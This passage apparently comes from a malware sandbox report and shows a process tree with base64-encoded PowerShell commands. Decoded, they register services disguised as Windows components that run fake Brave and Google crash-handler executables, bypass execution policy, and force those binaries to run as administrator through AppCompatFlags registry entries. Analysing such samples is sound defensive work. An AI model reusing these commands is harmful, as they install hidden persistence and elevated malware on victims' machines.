QAaABlAHIAIABwAHUAcgBwAG8AcwBlAHMALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAcwB0AG8AcABwAGUAZAAsACAAcwBoAGEAZABvAHcAIABjAG8AcABpAGUAcwAgAHcAaQBsAGwAIABiAGUAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIAB0AGgAZQAgAGIAYQBjAGsAdQBwACAAbQBhAHkAIABmAGEAaQBsAC4AIABJAGYAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAgAGkAcwAgAGQAaQBzAGEAYgBsAGUAZAAsACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAHMAIAB0AGgAYQB0ACAAZQB4AHAAbABpAGMAaQB0AGwAeQAgAGQAZQBwAGUAbgBkACAAbwBuACAAaQB0ACAAdwBpAGwAbAAgAGYAYQBpAGwAIAB0AG8AIABzAHQAYQByAHQALgAiACAALQBTAHQAYQByAHQAdQBwAFQAeQBwAGUAIAAiAEEAdQB0AG8AbQBhAHQAaQBjACIAIAAtAEIAaQBuAGEAcgB5AFAAYQB0AGgATgBhAG0AZQAgACIAJABlAG4AdgA6AFAAUgBPAEcAUgBBAE0ARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIACgAKAE4AZQB3AC0AUwBlAHIAdgBpAGMAZQAgAC0ATgBhAG0AZQAgACIARABlAHYAQQBzAHMAbwBjAE0AYQBuACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIARABlAHYAaQBjAGUAIABBAHMAcwBvAGMAaQBhAHQAaQBvAG4AIABNAGEAbgBhAGcAZQByACIAIAAtAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACIATQBhAG4AYQBnAGUAcwAgAGEAbgBkACAAaQBtAHAAbABlAG0AZQBuAHQAcwAgAEQAZQB2AGkAYwBlACAAQQBzAHMAbwBjAGkAYQB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgAgAHUAcwBlAGQAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIABvAHQAaABlAHIAIABwAHUAcgBwAG8AcwBlAHMALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAcwB0AG8AcABwAGUAZAAsACAAcwBoAGEAZABvAHcAIABjAG8AcABpAGUAcwAgAHcAaQBsAGwAIABiAGUAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIAB0AGgAZQAgAGIAYQBjAGsAdQBwACAAbQBhAHkAIABmAGEAaQBsAC4AIABJAGYAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAgAGkAcwAgAGQAaQBzAGEAYgBsAGUAZAAsACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAHMAIAB0AGgAYQB0ACAAZQB4AHAAbABpAGMAaQB0AGwAeQAgAGQAZQBwAGUAbgBkACAAbwBuACAAaQB0ACAAdwBpAGwAbAAgAGYAYQBpAGwAIAB0AG8AIABzAHQAYQByAHQALgAiACAALQBTAHQAYQByAHQAdQBwAFQAeQBwAGUAIAAiAEEAdQB0AG8AbQBhAHQAaQBjACIAIAAtAEIAaQBuAGEAcgB5AFAAYQB0AGgATgBhAG0AZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIACgAKAE4AZQB3AC0AUwBlAHIAdgBpAGMAZQAgAC0ATgBhAG0AZQAgACIATgBnAGMAQwBwAG0AcgBTAHYAYwAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAAUABhAHMAcwBwAG8AcgB0ACIAIAAtAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACIATQBhAG4AYQBnAGUAcwAgAGEAbgBkACAAaQBtAHAAbABlAG0AZQBuAHQAcwAgAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAAUABhAHMAcwBwAG8AcgB0ACAAdQBzAGUAZAAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAG8AdABoAGUAcgAgAHAAdQByAHAAbwBzAGUAcwAuACAASQBmACAAdABoAGkAcwAgAHMAZQByAHYAaQBjAGUAIABpAHMAIABzAHQAbwBwAHAAZQBkACwAIABzAGgAYQBkAG8AdwAgAGMAbwBwAGkAZQBzACAAdwBpAGwAbAAgAGIAZQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAHQAaABlACAAYgBhAGMAawB1AHAAIABtAGEAeQAgAGYAYQBpAGwALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAZABpAHMAYQBiAGwAZQBkACwAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAcwAgAHQAaABhAHQAIABlAHgAcABsAGkAYwBpAHQAbAB5ACAAZABlAHAAZQBuAGQAIABvAG4AIABpAHQAIAB3AGkAbABsACAAZgBhAGkAbAAgAHQAbwAgAHMAdABhAHIAdAAuACIAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgACIAQQB1AHQAbwBtAGEAdABpAGMAIgAgAC0AQgBpAG4AYQByAHkAUABhAHQAaABOAGEAbQBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIACgAKAE4AZQB3AC0AUwBlAHIAdgBpAGMAZQAgAC0ATgBhAG0AZQAgACIAVABpAG0AZQBSAGEAdABpAG8AUwB2AGMAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBUAGkAbQBlACAAUgBhAHQAaQBvACAAUwBlAHIAdgBpAGMAZQAiACAALQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAiAE0AYQBuAGEAZwBlAHMAIABhAG4AZAAgAGkAbQBwAGwAZQBtAGUAbgB0AHMAIABUAGkAbQBlACAAUgBhAHQAaQBvACAAUwBlAHIAdgBpAGMAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIABvAHQAaABlAHIAIABwAHUAcgBwAG8AcwBlAHMALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAcwB0AG8AcABwAGUAZAAsACAAcwBoAGEAZABvAHcAIABjAG8AcABpAGUAcwAgAHcAaQBsAGwAIABiAGUAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIAB0AGgAZQAgAGIAYQBjAGsAdQBwACAAbQBhAHkAIABmAGEAaQBsAC4AIABJAGYAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAgAGkAcwAgAGQAaQBzAGEAYgBsAGUAZAAsACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAHMAIAB0AGgAYQB0ACAAZQB4AHAAbABpAGMAaQB0AGwAeQAgAGQAZQBwAGUAbgBkACAAbwBuACAAaQB0ACAAdwBpAGwAbAAgAGYAYQBpAGwAIAB0AG8AIABzAHQAYQByAHQALgAiACAALQBTAHQAYQByAHQAdQBwAFQAeQBwAGUAIAAiAEEAdQB0AG8AbQBhAHQAaQBjACIAIAAtAEIAaQBuAGEAcgB5AFAAYQB0AGgATgBhAG0AZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgAKAAoATgBlAHcALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBTAHAAbwBvAGwAZQByAEMAbwBuAHQAcgBvAGwAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBTAHAAbwBvAGwAZQByACAAQQBkAHYAYQBuAGMAZQAgAEMAbwBuAHQAcgBvAGwAIgAgAC0ARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIgBNAGEAbgBhAGcAZQBzACAAYQBuAGQAIABpAG0AcABsAGUAbQBlAG4AdABzACAAUwBwAG8AbwBsAGUAcgAgAFAAcgBvAGcAcgBhAG0AIABDAG8AbgB0AHIAbwBsACAAdQBzAGUAZAAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAG8AdABoAGUAcgAgAHAAdQByAHAAbwBzAGUAcwAuACAASQBmACAAdABoAGkAcwAgAHMAZQByAHYAaQBjAGUAIABpAHMAIABzAHQAbwBwAHAAZQBkACwAIABzAGgAYQBkAG8AdwAgAGMAbwBwAGkAZQBzACAAdwBpAGwAbAAgAGIAZQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAHQAaABlACAAYgBhAGMAawB1AHAAIABtAGEAeQAgAGYAYQBpAGwALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAZABpAHMAYQBiAGwAZQBkACwAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAcwAgAHQAaABhAHQAIABlAHgAcABsAGkAYwBpAHQAbAB5ACAAZABlAHAAZQBuAGQAIABvAG4AIABpAHQAIAB3AGkAbABsACAAZgBhAGkAbAAgAHQAbwAgAHMAdABhAHIAdAAuACIAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgACIAQQB1AHQAbwBtAGEAdABpAGMAIgAgAC0AQgBpAG4AYQByAHkAUABhAHQAaABOAGEAbQBlACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAbQBhAGsAZQAuAGUAeABlACIACgAKAE4AZQB3AC0AUwBlAHIAdgBpAGMAZQAgAC0ATgBhAG0AZQAgACIAVABlAGwAZQBtAGUAdAByAHkATQBnAG0AdAAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFQAZQBsAGUAbQBlAHQAcgB5ACAATQBhAG4AYQBnAGUAcgAiACAALQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAiAE0AYQBuAGEAZwBlAHMAIABhAG4AZAAgAGkAbQBwAGwAZQBtAGUAbgB0AHMAIABUAGUAbABlAG0AZQB0AHIAeQAgAE0AYQBuAGEAZwBlAHIAIABDAG8AbgB0AHIAbwBsACAAdQBzAGUAZAAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAG8AdABoAGUAcgAgAHAAdQByAHAAbwBzAGUAcwAuACAASQBmACAAdABoAGkAcwAgAHMAZQByAHYAaQBjAGUAIABpAHMAIABzAHQAbwBwAHAAZQBkACwAIABzAGgAYQBkAG8AdwAgAGMAbwBwAGkAZQBzACAAdwBpAGwAbAAgAGIAZQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAHQAaABlACAAYgBhAGMAawB1AHAAIABtAGEAeQAgAGYAYQBpAGwALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAZABpAHMAYQBiAGwAZQBkACwAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAcwAgAHQAaABhAHQAIABlAHgAcABsAGkAYwBpAHQAbAB5ACAAZABlAHAAZQBuAGQAIABvAG4AIABpAHQAIAB3AGkAbABsACAAZgBhAGkAbAAgAHQAbwAgAHMAdABhAHIAdAAuACIAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgACIAQQB1AHQAbwBtAGEAdABpAGMAIgAgAC0AQgBpAG4AYQByAHkAUABhAHQAaABOAGEAbQBlACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAZQBkAGkAdAAuAGUAeABlACIA
                                          4⤵
                                          • Drops file in System32 directory
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:1952
                                          • C:\Windows\system32\chcp.com
                                            "C:\Windows\system32\chcp.com" 1252
                                            5⤵
                                              PID:2568
                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                          -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssBF2.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiBD0.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrBD1.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrBD2.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                          3⤵
                                          • Drops file in System32 directory
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:3056
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAGQASQBsAGgAbwBzAHQALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAGQASQBsAGgAbwBzAHQALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABkAEkAbABoAG8AcwB0AC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABkAEkAbABoAG8AcwB0AC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQAbABJAGgAbwBzAHQALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQAbABJAGgAbwBzAHQALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAFYAYQBsAHUAZQAgACIAfgAgAFIAVQBOAEEAUwBBAEQATQBJAE4AIgAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFA